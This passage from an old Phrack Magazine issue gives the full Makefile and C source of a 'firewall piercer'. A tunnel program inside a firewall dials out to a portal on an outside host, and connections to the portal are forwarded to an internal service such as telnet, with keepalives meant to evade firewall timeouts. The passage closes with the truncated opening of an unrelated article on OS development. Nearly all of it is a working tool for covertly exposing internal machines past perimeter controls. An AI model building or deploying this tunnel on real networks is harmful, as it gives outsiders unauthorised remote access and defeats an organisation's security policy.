OSFLAGS =
|
||
MYFLAGS = -Wall -O2 -g -pedantic
|
||
CFLAGS = $(MYFLAGS) $(PROFILE) $(OSFLAGS)
|
||
|
||
#If you compile on Solaris 2.x, uncomment the following line
|
||
#LOCAL_LIBRARIES = -lsocket
|
||
|
||
TUNNEL_OBJFILES = tunnel.o share.o
|
||
PORTAL_OBJFILES = portal.o share.o
|
||
|
||
all: tunnel portal
|
||
|
||
tunnel : $(TUNNEL_OBJFILES) share.h
|
||
$(CC) $(TUNNEL_OBJFILES) $(LOCAL_LIBRARIES) -o tunnel
|
||
tunnel.o : tunnel.c share.h
|
||
$(CC) -c $(CFLAGS) $(COMMFLAGS) tunnel.c
|
||
portal : $(PORTAL_OBJFILES) share.h
|
||
$(CC) $(PORTAL_OBJFILES) $(LOCAL_LIBRARIES) -o portal
|
||
portal.o : portal.c share.h
|
||
$(CC) -c $(CFLAGS) $(COMMFLAGS) portal.c
|
||
share.o : share.c share.h
|
||
$(CC) -c $(CFLAGS) $(COMMFLAGS) share.c
|
||
clean:
|
||
rm -f *.o tunnel portal core
|
||
<-->
|
||
<++> tunnel/tunnel.c
|
||
/*
|
||
-TUNNEL-
|
||
|
||
This is the tunnel part of my firewall piercer. This code is supposed
|
||
to be running on the inside of the firewall. The tunnel should then
|
||
connect to the portal running on the outside.
|
||
|
||
start it like:
|
||
>% tunnel localhost 23 protal.machine.com 3001
|
||
|
||
if the portal is running at port 3001 at portal.machine.com, incoming
|
||
connections to the portal will get rerouted to this machines telnet
|
||
port.
|
||
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/time.h>
|
||
#include <string.h>
|
||
#include <signal.h>
|
||
#include <errno.h>
|
||
#include "share.h"
|
||
|
||
|
||
extern char tunnel_buf[MAXLEN*2];
|
||
char buf[MAXLEN*2];
|
||
extern int tunnel_des; /* The socket destination of a tunnel packet*/
|
||
extern int tunnel_src; /* The socket source of a tunel packet*/
|
||
extern int tunnel_size; /* Size of tunnel packet*/
|
||
extern struct connections connections; /*Linked list of connections*/
|
||
|
||
char *remote_machine; /*remote machine name to tunnel to*/
|
||
extern int tunnel_port; /*tunnel port*/
|
||
extern int tunnel_sock; /*tunnel socket*/
|
||
char *login_machine=""; /*machine to forward connections to*/
|
||
int login_port; /*port to forward connections to*/
|
||
|
||
int oldtime=0,ping_time=0;
|
||
struct connection *descriptors[DESC_MAX];
|
||
extern struct connection *descriptors[DESC_MAX];
|
||
extern int errno;
|
||
FILE *log=stdout; /*logfile = stdout by default*/
|
||
|
||
void open_tunnel(){
|
||
tunnel_sock=remote_connect(remote_machine,tunnel_port);
|
||
}
|
||
|
||
|
||
extern int optind;
|
||
extern char *optarg;
|
||
|
||
void usage(){
|
||
printf("Usage: tunnel [-l logfile] <forward_machine> <forward_port>" \
|
||
" <portal_machine> <portal_port>\n");
|
||
printf("where:\n");
|
||
printf("forward_machine is the machine to which the traffic is forwarded\n");
|
||
printf("forward_port is the port to which the traffic is forwarded\n");
|
||
printf("portal_machine is the machine we want to route the trafic from\n");
|
||
printf("portal_port is the port we want to route the trafic from\n");
|
||
printf("Coded by %s\n",AUTHOR);
|
||
}
|
||
|
||
|
||
/********************** Get the options ***********************/
|
||
|
||
void get_options(int argc,char *argv[]){
|
||
int c;
|
||
while((c=getopt(argc,argv, "l:")) !=-1)
|
||
switch(c){
|
||
case 'l':
|
||
if(!(log=fopen(optarg,"w"))){
|
||
log=stdout;
|
||
fprintf(log,"Unable to open logfile '%s':%s\n",
|
||
optarg,strerror(errno));
|
||
}
|
||
break;
|
||
case '?':
|
||
default:
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
/* the two next options*/
|
||
if(argc-optind!=4){
|
||
printf("Wrong number of options!\n");
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
login_machine=get_ip(argv[optind++]);
|
||
login_port=atoi(argv[optind++]);
|
||
remote_machine=get_ip(argv[optind++]);
|
||
tunnel_port=atoi(argv[optind++]);
|
||
if(login_port<1||login_port>65535||tunnel_port<1||tunnel_port>65535){
|
||
printf("Ports below 1 and above 65535 don't give any sense\n");
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
}
|
||
|
||
void alive(){
|
||
/* To check wether the line is still alive, we Myping it every
|
||
ALIVE_TIME seconds. If we don't get a ping from the tunnel
|
||
every ALIVE_TIME*2 we disconnect the connection to the
|
||
portal, and wait for a new. If the portal has not died, all
|
||
the connections through the tunnel will continue as normal once
|
||
the connection has been established again.
|
||
The reason why I do this is because some firewalls tend to
|
||
disable connections if there hasn't been any traffic for some time,
|
||
or if the connection had been up too long time.
|
||
*/
|
||
|
||
/*Transmit a Myping packet, we receive the
|
||
answer in check_tunnel_connection()*/
|
||
if(time(NULL)-oldtime>=ALIVE_TIME){
|
||
oldtime=time(NULL);
|
||
transmit_tunnel(buf,0,0,0);
|
||
}
|
||
if(time(NULL)-ping_time>ALIVE_TIME*2){
|
||
printf("Connection to portal probably lost, hanging up.\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
}
|
||
}
|
||
|
||
int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con)
|
||
{
|
||
/* We tell the selector to look on the tunnel socket aswell
|
||
as our live connections.*/
|
||
int maxsock,i;
|
||
FD_ZERO(selector);
|
||
FD_SET(tunnel_sock,selector);
|
||
FD_SET(tunnel_sock,errsel);
|
||
con=connections.head;
|
||
maxsock=tunnel_sock;
|
||
for(i=0;i<connections.num;i++,con=con->next){
|
||
FD_SET(con->local_sock,selector);
|
||
FD_SET(con->local_sock,errsel);
|
||
maxsock=max(maxsock,con->local_sock);
|
||
}
|
||
return(maxsock); /*We return the maximum socket number*/
|
||
}
|
||
|
||
void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){
|
||
/*Here we check the tunnel for incoming data*/
|
||
if(FD_ISSET(tunnel_sock,errsel)){
|
||
fprintf(log,"Tunnel connection terminated!\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
return;
|
||
}
|
||
if(FD_ISSET(tunnel_sock,selector)){
|
||
if(receive_tunnel()!=-1){
|
||
if(tunnel_src==0&&tunnel_des==0){ /*We have a Myping packet*/
|
||
ping_time=time(NULL); /*reset the alive_timer*/
|
||
}
|
||
else if(tunnel_src==0){/*We have a 'hangup' signal for a connection*/
|
||
if((con=descriptors[tunnel_des])){
|
||
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
|
||
removeconnection(con);
|
||
}
|
||
}
|
||
else if(tunnel_des==0){ /*We have a new connection*/
|
||
int newsock;
|
||
if((newsock=remote_connect(login_machine,login_port))!=-1){
|
||
connections.num++;
|
||
con=(struct connection *)malloc(sizeof(struct connection));
|
||
con->host=(char *)malloc(MAX_HOSTNAME_SIZE);
|
||
strncpy(con->host,&tunnel_buf[4],MAX_HOSTNAME_SIZE);
|
||
con->port=ntohl((((int *)tunnel_buf)[0]));
|
||
con->local_sock=newsock;
|
||
con->remote_sock=tunnel_src;
|
||
con->time=time(NULL);
|
||
con->next=connections.head;
|
||
connections.head=con;
|
||
descriptors[newsock]=con;
|
||
fprintf(log,"Connected the incoming call from %s %d to %s %d\n",con->host,con->port,login_machine,login_port);
|
||
/*Acknowledge the new connection to the portal*/
|
||
transmit_tunnel(buf,0,con->local_sock,con->remote_sock);
|
||
}
|
||
}
|
||
else if(descriptors[tunnel_des]){
|
||
/*Send the data to the right descriptor*/
|
||
writen(descriptors[tunnel_des]->local_sock,tunnel_buf,tunnel_size);
|
||
}
|
||
else{
|
||
fprintf(log,"Connection to unallocated channel, hangup signal sent\n");
|
||
/*Send a hangup signal to the portal, to disable the connection*/
|
||
transmit_tunnel(buf,0,0,tunnel_src);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
void main(int argc,char **argv)
|
||
{
|
||
get_options(argc,argv);
|
||
fprintf(log,"Opening tunnel to %s port %d\n",remote_machine,tunnel_port);
|
||
fprintf(log,"Tunnelconnections will be forwarded to host %s"\
|
||
" port %d\n",login_machine,login_port);
|
||
connections.num=0;
|
||
connections.head=NULL;
|
||
signal(SIGINT,ctrlC);
|
||
while(1){ /*The tunnel runs infinitely*/
|
||
struct connection *con=connections.head;
|
||
open_tunnel();
|
||
ping_time=time(NULL);
|
||
while(tunnel_sock!=-1){
|
||
fd_set selector,errsel;
|
||
struct timeval alive_time;
|
||
alive_time.tv_sec=ALIVE_TIME;
|
||
alive_time.tv_usec=0;
|
||
alive(); /*Check wether the tunnelconnection is alive*/
|
||
/* We have to listen to the tunnel and all the current connections.
|
||
we do that with a select call*/
|
||
if(select(reset_selector(&selector,&errsel,con)+1,
|
||
&selector,NULL,&errsel,&alive_time)){
|
||
/*Check for each of the local connections*/
|
||
check_local_connections(&selector,&errsel,con);
|
||
/*Check for the tunnel*/
|
||
check_tunnel_connection(&selector,&errsel,con);
|
||
}
|
||
}
|
||
sleep(RETRY_TIME); /*We sleep a while*/
|
||
/* fprintf(log,"Trying to connect to portal.\n"); */
|
||
}
|
||
}
|
||
<-->
|
||
<++> tunnel/portal.c
|
||
/*
|
||
-PORTAL-
|
||
|
||
This is the portal part of my firewall piercer. This code is supposed
|
||
to be running on the outside of the firewall. The tunnel part should
|
||
then connect trough the firewall to this program.
|
||
start it like:
|
||
>% portal 3000 3001
|
||
for tunnel connection on port 3001 and incoming calls on 3000.
|
||
|
||
when you connect to the portal at port 3000 your connection will be
|
||
forwarded to the tunnel.
|
||
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/time.h>
|
||
#include <string.h>
|
||
#include <netdb.h>
|
||
#include <unistd.h>
|
||
#include <signal.h>
|
||
#include <errno.h>
|
||
#include "share.h"
|
||
|
||
/***************/
|
||
/* Global data */
|
||
/***************/
|
||
extern char tunnel_buf[MAXLEN*2];
|
||
extern int tunnel_des;
|
||
extern int tunnel_src;
|
||
extern int tunnel_size;
|
||
extern struct connections connections;
|
||
extern struct connection *descriptors[DESC_MAX];
|
||
extern int errno;
|
||
extern int tunnel_port; /*tunnel port*/
|
||
extern int tunnel_sock; /*tunnel new accepted socket*/
|
||
|
||
char buf[MAXLEN*2];
|
||
char *remote_machine; /*remote machine name*/
|
||
int tunnel_basesock; /*tunnel base socket*/
|
||
int local_sock; /* local port socket*/
|
||
int local_port; /*local machine port*/
|
||
FILE *log=stdout; /*logfile = stdout by default*/
|
||
int ping_time=0;
|
||
|
||
|
||
/********************** Usage ***********************/
|
||
void usage(){
|
||
|
||
fprintf(stderr,"Usage: portal [-l logfile] <local_port> <tunnel_port>\n");
|
||
fprintf(stderr,"where:\n");
|
||
fprintf(stderr,"local_port is the port where we accept incoming" \
|
||
" connections\n");
|
||
fprintf(stderr,"remote_port is the port where we accept the tunnel" \
|
||
" to connect\n");
|
||
fprintf(stderr,"Coded by %s\n",AUTHOR);
|
||
}
|
||
|
||
/********************** Get the options ***********************/
|
||
|
||
extern int optind;
|
||
extern char *optarg;
|
||
|
||
void get_options(int argc,char *argv[]){
|
||
int c;
|
||
while((c=getopt(argc,argv, "l:")) !=-1)
|
||
switch(c){
|
||
case 'l':
|
||
if(!(log=fopen(optarg,"w"))){
|
||
log=stdout;
|
||
fprintf(log,"Unable to open logfile '%s':%s\n",
|
||
optarg,strerror(errno));
|
||
}
|
||
break;
|
||
case '?':
|
||
default:
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
/* the two next options*/
|
||
if(argc-optind!=2){
|
||
printf("Wrong number of options!\n");
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
local_port=atoi(argv[optind++]);
|
||
tunnel_port=atoi(argv[optind++]);
|
||
if(local_port<1||local_port>65535||tunnel_port<1||tunnel_port>65535){
|
||
printf("Ports below 1 and above 65535 dont give any sense\n");
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
}
|
||
|
||
/*********************************************************/
|
||
/*************** Portal *****************/
|
||
/*********************************************************/
|
||
|
||
void open_local_port(){
|
||
/*Open the local port for incoming connections*/
|
||
struct sockaddr_in ser;
|
||
int opt=1;
|
||
local_sock=socket(AF_INET,SOCK_STREAM,0);
|
||
if(local_sock==-1){fprintf(log,"Error opening socket\n");exit(0);}
|
||
if(setsockopt(local_sock,SOL_SOCKET,SO_REUSEADDR,
|
||
(char *)&opt,sizeof(opt))<0)
|
||
{perror("setsockopt REUSEADDR");exit(1);}
|
||
ZERO((char *) &ser,sizeof(ser));
|
||
ser.sin_family = AF_INET;
|
||
ser.sin_addr.s_addr = htonl(INADDR_ANY);
|
||
ser.sin_port = htons(local_port);
|
||
if(bind(local_sock,(struct sockaddr *)&ser,sizeof(ser)) ==-1 ){
|
||
fprintf(log,"Error binding to local port %d : %s\n"
|
||
,local_port,strerror(errno));
|
||
exit(-1);
|
||
}
|
||
if(listen(local_sock,5)==-1){
|
||
fprintf(log,"Error listening to local port %d : %s"
|
||
,local_port,strerror(errno));
|
||
exit(-1);
|
||
}
|
||
fprintf(log,"Opened local port %d on socket %d\n",local_port,local_sock);
|
||
}
|
||
|
||
void open_portal(){
|
||
int opt=0;
|
||
struct sockaddr_in ser;
|
||
if((tunnel_basesock=socket(AF_INET,SOCK_STREAM,0))==-1)
|
||
{perror("socket");exit(-1);}
|
||
if(setsockopt(tunnel_basesock,SOL_SOCKET,SO_REUSEADDR,
|
||
(char *)&opt,sizeof(opt))<0)
|
||
{perror("setsockopt REUSEADDR");exit(-1);}
|
||
ZERO((char *) &ser,sizeof(ser));
|
||
ser.sin_family = AF_INET;
|
||
ser.sin_addr.s_addr = htonl(INADDR_ANY);
|
||
ser.sin_port = htons(tunnel_port);
|
||
if(bind(tunnel_basesock,(struct sockaddr *)&ser,sizeof(ser)) ==-1 ){
|
||
fprintf(log,"Error binding to tunnel port %d : %s\n"
|
||
,tunnel_port,strerror(errno));
|
||
exit(-1);
|
||
}
|
||
if(listen(tunnel_basesock,5)==-1){
|
||
fprintf(log,"Error listening to tunnel port %d : %s"
|
||
,tunnel_port,strerror(errno));
|
||
exit(-1);
|
||
}
|
||
}
|
||
|
||
int accept_portal(){
|
||
struct hostent *from;
|
||
struct sockaddr_in cli;
|
||
int newsock,clilen;
|
||
clilen=sizeof(cli);
|
||
if(!tunnel_basesock){return(-1);}
|
||
/*Accept incoming calls*/
|
||
newsock=accept(tunnel_basesock,(struct sockaddr *)&cli,&clilen);
|
||
/*We want to know know our remote host better*/
|
||
from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr),PF_INET);
|
||
if(!from){
|
||
close(newsock);
|
||
return(-1);
|
||
}
|
||
fprintf(log,"Tunnel connection from:%s %d\n",from->h_name,cli.sin_port);
|
||
return(newsock);
|
||
}
|
||
|
||
void close_portal(){
|
||
shutdown(tunnel_sock,1);
|
||
close(tunnel_sock);
|
||
}
|
||
|
||
struct connection *receive_local(){
|
||
struct sockaddr_in cli;
|
||
int newsock,clilen;
|
||
struct hostent *from;
|
||
struct connection *con;
|
||
clilen=sizeof(cli);
|
||
/*Accept incoming calls*/
|
||
newsock=accept(local_sock,(struct sockaddr *)&cli,&clilen);
|
||
if(newsock==-1)
|
||
{fprintf(log,"Server Accept Error:%s\n",strerror(errno));exit(-1);}
|
||
/*We want to know know our remote host better*/
|
||
from=gethostbyaddr((char *)(&cli.sin_addr),sizeof(cli.sin_addr), PF_INET);
|
||
fprintf(log,"New connection from:%s %d\n",from->h_name,cli.sin_port);
|
||
/*Add our new friend to our list of connections*/
|
||
connections.num++;
|
||
con=(struct connection *)malloc(sizeof(struct connection));
|
||
con->host=strdup(from->h_name);
|
||
con->port=cli.sin_port;
|
||
con->local_sock=newsock;
|
||
con->remote_sock=0;
|
||
con->time=time(NULL);
|
||
con->next=connections.head;
|
||
connections.head=con;
|
||
descriptors[newsock]=con;
|
||
return(con);
|
||
}
|
||
|
||
void alive(){
|
||
/* If we don't get a ping from the tunnel
|
||
every ALIVE_TIME*2 we disconnect the connection to the
|
||
tunnel, and wait for a new. If the tunnel has not died, all
|
||
the connections from the tunnel will continue as normal once
|
||
the connection has been established again*/
|
||
if(time(NULL)-ping_time>ALIVE_TIME*2){
|
||
printf("Connection to tunnel probably lost, hanging up.\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
}
|
||
}
|
||
|
||
int reset_selector(fd_set *selector,fd_set *errsel,struct connection *con){
|
||
/* We tell the selector to look on the tunnel socket aswell
|
||
as our live connections, and the connection socket.*/
|
||
int maxsock,i;
|
||
FD_ZERO(selector);
|
||
FD_SET(local_sock,selector);
|
||
FD_SET(tunnel_sock,selector);
|
||
FD_SET(local_sock,errsel);
|
||
FD_SET(tunnel_sock,errsel);
|
||
con=connections.head;
|
||
maxsock=max(local_sock,tunnel_sock);
|
||
for(i=0;i<connections.num;i++,con=con->next){
|
||
FD_SET(con->local_sock,selector);
|
||
FD_SET(con->local_sock,errsel);
|
||
maxsock=max(maxsock,con->local_sock);
|
||
}
|
||
return(maxsock);
|
||
}
|
||
|
||
void check_tunnel_connection(fd_set *selector,fd_set *errsel,struct connection *con){
|
||
/*Here we check the tunnel for incoming data*/
|
||
if(FD_ISSET(tunnel_sock,errsel)){
|
||
fprintf(log,"Tunnel connection terminated!\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
return;
|
||
}
|
||
if(FD_ISSET(tunnel_sock,selector)){
|
||
if(receive_tunnel()!=-1){
|
||
if(tunnel_src==0&&tunnel_des==0){ /*We got a Myping*/
|
||
ping_time=time(NULL);
|
||
/* Ping the tunnel back!*/
|
||
transmit_tunnel(buf,0,0,0); /*Send a Myping back*/
|
||
}
|
||
else if(tunnel_des){
|
||
if(descriptors[tunnel_des]){
|
||
con=descriptors[tunnel_des];
|
||
if(tunnel_src!=0){
|
||
con->remote_sock=tunnel_src;
|
||
writen(descriptors[tunnel_des]->local_sock,tunnel_buf,tunnel_size);
|
||
}
|
||
else{
|
||
printf("Hangup signal received. Removing connection to %s %d\n",con->host,con->port);
|
||
removeconnection(con);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
void check_connection_port(fd_set *selector,fd_set *errsel,struct connection *con){
|
||
/*Here we check the connection port for new connections*/
|
||
if(FD_ISSET(local_sock,selector)){
|
||
con=receive_local();
|
||
if(con){
|
||
printf("Transmitting the new connection\n");
|
||
*((int *)(&buf[4]))=htonl(con->port);
|
||
strncpy(&buf[8],con->host,MAX_HOSTNAME_SIZE);
|
||
*(&buf[8]+strlen(con->host))=0;
|
||
transmit_tunnel(buf,4+min(strlen(con->host)+1,MAX_HOSTNAME_SIZE),con->local_sock,0);
|
||
}
|
||
}
|
||
}
|
||
|
||
void main(int argc,char **argv){
|
||
get_options(argc,argv);
|
||
init_descriptors();
|
||
connections.num=0;
|
||
connections.head=NULL;
|
||
remote_machine=get_ip(argv[2]);
|
||
fprintf(log,"Tunneling incoming calls on port %d to port %d \n"
|
||
,local_port,tunnel_port);
|
||
connections.num=0;
|
||
connections.head=NULL;
|
||
fprintf(log,"Opening portal\n");
|
||
open_portal();
|
||
signal(SIGINT,ctrlC);
|
||
fprintf(log,"Opening localport\n");
|
||
open_local_port();
|
||
while(1){
|
||
fprintf(log,"Waiting for tunnel connection on port %d\n",tunnel_port);
|
||
while((tunnel_sock=accept_portal())==-1) sleep(4);
|
||
ping_time=time(NULL);
|
||
while(tunnel_sock!=-1){
|
||
fd_set selector,errsel;
|
||
struct connection *con=NULL;
|
||
struct timeval alive_time;
|
||
|
||
alive_time.tv_sec=ALIVE_TIME;
|
||
alive_time.tv_usec=0;
|
||
alive();
|
||
|
||
/* We have to listen to the tunnel, the local port, and alle the
|
||
current connections. */
|
||
if(select(reset_selector(&selector,&errsel,con)+1,
|
||
&selector,NULL,&errsel,&alive_time)){
|
||
check_tunnel_connection(&selector,&errsel,con);
|
||
check_connection_port(&selector,&errsel,con);
|
||
check_local_connections(&selector,&errsel,con);
|
||
}
|
||
}
|
||
sleep(2);
|
||
}
|
||
}
|
||
<-->
|
||
<++> tunnel/share.c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <arpa/inet.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/time.h>
|
||
#include <sys/utsname.h>
|
||
#include <fcntl.h>
|
||
#include <string.h>
|
||
#include <signal.h>
|
||
#include <errno.h>
|
||
#include <netdb.h>
|
||
|
||
#include "share.h"
|
||
|
||
char tunnel_buf[MAXLEN*2]; /*Buffer to store the tunnel data in*/
|
||
int tunnel_des; /*Destination socket */
|
||
int tunnel_src; /*Source socket*/
|
||
int tunnel_size; /*Size of the data currently in the buffer*/
|
||
int tunnel_sock; /*The socket of the portal*/
|
||
int tunnel_port; /*The port we wan't to run on*/
|
||
|
||
extern FILE *log; /* Our log file*/
|
||
extern int errno;
|
||
struct connection *descriptors[DESC_MAX];
|
||
struct connections connections; /*A linked list of our connections*/
|
||
|
||
/*
|
||
Packet header:
|
||
####################################/
|
||
# Dest # Source# Data size # / data comes here
|
||
###################################\
|
||
1 byte 1 byte 2 bytes
|
||
|
||
If the sestination field is zero, we are initiating a new connection
|
||
If the source field we are dropping a connection
|
||
If both the destination and the source is zero, it is a Myping packet.
|
||
*/
|
||
|
||
void ctrlC(int sig)
|
||
{
|
||
fprintf(log,"Shutting down the hard way\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
exit(-1);
|
||
}
|
||
|
||
|
||
char *get_ip(char *host){
|
||
struct hostent *remote;
|
||
struct in_addr *in;
|
||
remote=gethostbyname(host);
|
||
if(remote==NULL){
|
||
fprintf(log,"Hostinformation of remote machine '%s' not resolved,"\
|
||
" reason:%s",host,strerror(errno));
|
||
exit(-1);
|
||
}
|
||
in=(struct in_addr *)remote->h_addr_list[0];
|
||
return(strdup(inet_ntoa(*in)));
|
||
}
|
||
|
||
int transmit_tunnel(char *data,int size,int source,int destination){
|
||
int nleft=size+4,nwritten;
|
||
fd_set selector,errsel;
|
||
data[0]=(unsigned char)destination; /*Destination into header*/
|
||
data[1]=(unsigned char)source; /*Source into header*/
|
||
*((u_short *)&data[2])=htons(size); /*Size into header*/
|
||
while(nleft>0){
|
||
FD_ZERO(&errsel);
|
||
FD_ZERO(&selector);
|
||
FD_SET(tunnel_sock,&errsel);
|
||
FD_SET(tunnel_sock,&selector);
|
||
select(tunnel_sock+1,NULL,&selector,&errsel,NULL);
|
||
if(FD_ISSET(tunnel_sock,&errsel)){
|
||
printf("Big bug\n");
|
||
}
|
||
nwritten=write(tunnel_sock,data,nleft);
|
||
if(nwritten==-1){
|
||
fprintf(log,"Error writing to tunnel:%s\n",strerror(errno));
|
||
tunnel_sock=-1;
|
||
return(nwritten);
|
||
}
|
||
else if(nwritten==0){
|
||
fprintf(log,"Error: Wrote zero bytes in transmit_tunnel\n");
|
||
return(nwritten);
|
||
}
|
||
nleft-=nwritten;
|
||
data+=nwritten;
|
||
}
|
||
return(size - nleft);
|
||
}
|
||
|
||
int receive_tunnel(){
|
||
static int received=0;
|
||
int n,left,got=0,quit=0,sofar=0;
|
||
received++;
|
||
while(sofar<4){
|
||
quit=0;
|
||
while(!quit){
|
||
n=read(tunnel_sock,&tunnel_buf[sofar],4-sofar);
|
||
if(n>0){quit=1;sofar+=n;}
|
||
if(n<1){
|
||
fprintf(log,"Connection terminated!\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
return(-1);
|
||
}
|
||
}
|
||
}
|
||
tunnel_des=tunnel_buf[0]; /*Fetch the destination*/
|
||
tunnel_src=tunnel_buf[1]; /*Fetch the source*/
|
||
tunnel_size=ntohs(*((u_short *)&tunnel_buf[2])); /*Fetch the size*/
|
||
left=tunnel_size;
|
||
while(left!=0){
|
||
n=read(tunnel_sock,&tunnel_buf[got],left);
|
||
if(n<0){
|
||
fprintf(log,"Connection terminated in receive_tunnel!\n");
|
||
shutdown(tunnel_sock,2);
|
||
close(tunnel_sock);
|
||
tunnel_sock=-1;
|
||
return(-1);
|
||
}
|
||
got+=n;
|
||
left-=n;
|
||
}
|
||
return(n);
|
||
}
|
||
void check_local_connections(fd_set *selector,fd_set *errsel,struct connection *con){
|
||
/*Here we check each of the local connections for incoming date*/
|
||
char buf[MAXLEN*2];
|
||
int i,n;
|
||
con=connections.head;
|
||
for(i=0;i<connections.num&&con;i++,con=con->next){
|
||
if(FD_ISSET(con->local_sock,errsel)){
|
||
fprintf(log,"LLocal connection terminated\n");
|
||
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
|
||
if(con->remote_sock) transmit_tunnel(buf,0,0,con->remote_sock);
|
||
removeconnection(con);
|
||
break;
|
||
}
|
||
if(FD_ISSET(con->local_sock,selector)&&con->remote_sock){
|
||
n=read(con->local_sock,&buf[4],MAXLEN);
|
||
if(n<1){
|
||
fprintf(log,"Local connection terminated\n");
|
||
fprintf(log,"Removing connection to %s %d\n",con->host,con->port);
|
||
transmit_tunnel(buf,0,0,con->remote_sock);
|
||
removeconnection(con);
|
||
break;
|
||
}
|
||
/*forward the data to the tunnel*/
|
||
transmit_tunnel(buf,n,con->local_sock,con->remote_sock);
|
||
}
|
||
}
|
||
}
|
||
|
||
void ZERO(char * buf,int size){int i=0;while(i<size)buf[i++]=0;}
|
||
|
||
int writen(int fd, char *ptr, int nbytes)
|
||
{
|
||
int nleft=nbytes,nwritten;
|
||
while(nleft>0){
|
||
nwritten=write(fd,ptr,nleft);
|
||
if(nwritten<=0) return(nwritten);
|
||
nleft-=nwritten;
|
||
ptr+=nwritten;
|
||
}
|
||
return(nbytes - nleft);
|
||
}
|
||
|
||
int remote_connect(char *machine,int port)
|
||
{
|
||
int sock;
|
||
struct sockaddr_in ser;
|
||
ZERO((char *) &ser,sizeof(ser));
|
||
ser.sin_family = AF_INET;
|
||
ser.sin_addr.s_addr = inet_addr(machine);
|
||
ser.sin_port = htons(port);
|
||
sock=socket(AF_INET,SOCK_STREAM,0);
|
||
if(sock==-1){perror("Error opening socket\n");return(-1);}
|
||
if(connect(sock,(struct sockaddr *) &ser,sizeof(ser))==-1){
|
||
fprintf(log,"Can't connect to server:%s\n",strerror(errno));
|
||
return(-1);
|
||
}
|
||
return(sock);
|
||
}
|
||
|
||
void disconnect(struct connection *con,int sock1,int sock2){
|
||
fprintf(log,"Closing link to: %s %d\n",con->host,con->port);
|
||
shutdown(sock1,2);
|
||
shutdown(sock2,2);
|
||
close(sock1);
|
||
close(sock2);
|
||
close(con->local_sock);
|
||
}
|
||
|
||
void init_descriptors(){
|
||
int i;
|
||
for(i=0;i<DESC_MAX;i++){
|
||
descriptors[i]=NULL;
|
||
}
|
||
}
|
||
|
||
void removeconnection(struct connection *con){
|
||
struct connection *c2,*c=connections.head;
|
||
if(c==con){
|
||
connections.head=c->next;
|
||
descriptors[c->local_sock]=NULL;
|
||
free(c->host);
|
||
shutdown(c->local_sock,2);
|
||
close(c->local_sock);
|
||
free(c);
|
||
connections.num--;
|
||
return;
|
||
}
|
||
c2=c;
|
||
c=c->next;
|
||
while(c){
|
||
if(c==con){
|
||
/* connections.head=c2; */
|
||
c2->next=c->next;
|
||
descriptors[c->local_sock]=NULL;
|
||
free(c->host);
|
||
shutdown(c->local_sock,2);
|
||
close(c->local_sock);
|
||
free(c);
|
||
connections.num--;
|
||
return;
|
||
}
|
||
c2=c;
|
||
c=c->next;
|
||
}
|
||
}
|
||
<-->
|
||
<++> tunnel/share.h
|
||
/*********************/
|
||
/* Structs & Defines */
|
||
/*********************/
|
||
#define MAX_HOSTNAME_SIZE 128
|
||
#define MAXLEN 32768 /*Maximum length of our data*/
|
||
#define ALIVE_TIME 60 /*Time to wait before sending a Myping*/
|
||
#define DESC_MAX 128 /*Maximum number of descriptors used*/
|
||
#define RETRY_TIME 60 /* Time to wait before we reconnect to portal*/
|
||
#define max(a,b) ((a>b)?a:b)
|
||
#define min(a,b) ((a<b)?a:b)
|
||
#define AUTHOR "bishnu@hotmail.com"
|
||
|
||
struct connections{
|
||
int num;
|
||
struct connection *head;
|
||
};
|
||
|
||
struct connection{
|
||
struct connection *next;
|
||
int port;
|
||
int local_sock;
|
||
int remote_sock;
|
||
time_t time;
|
||
char *host;
|
||
};
|
||
|
||
|
||
char *get_ip(char *host);
|
||
|
||
void random_delay(int n);
|
||
int transmit_tunnel(char *data,int size,int source,int destination);
|
||
int receive_tunnel();
|
||
void hostname(char *name);
|
||
void ZERO(char * buf,int size);
|
||
int writen(int fd, char *ptr, int nbytes);
|
||
void ctrlC(int sig);
|
||
void sleep_usec(int n);
|
||
void nonblock(int s);
|
||
int remote_connect(char *machine,int port);
|
||
void disconnect(struct connection *con,int sock1,int sock2);
|
||
void init_descriptors();
|
||
int max_descriptor();
|
||
void removeconnection(struct connection *con);
|
||
void check_local_connections(fd_set *selector,fd_set *errsel,struct connection *con);
|
||
<-->
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 17 of 20
|
||
|
||
|
||
-------------------------[ Protected mode programming and O/S development
|
||
|
||
|
||
--------[ Mythrandir <jwthomp@cu-online.com>
|
||
|
||
|
||
|
||
|
||
----[ Forward
|
||
|
||
|
||
About two months ago I decided to begin learning about developing an operating
|
||
system from the ground up. I have been involved in trusted operating systems
|
||
development for over two years now but have always done my work with
|
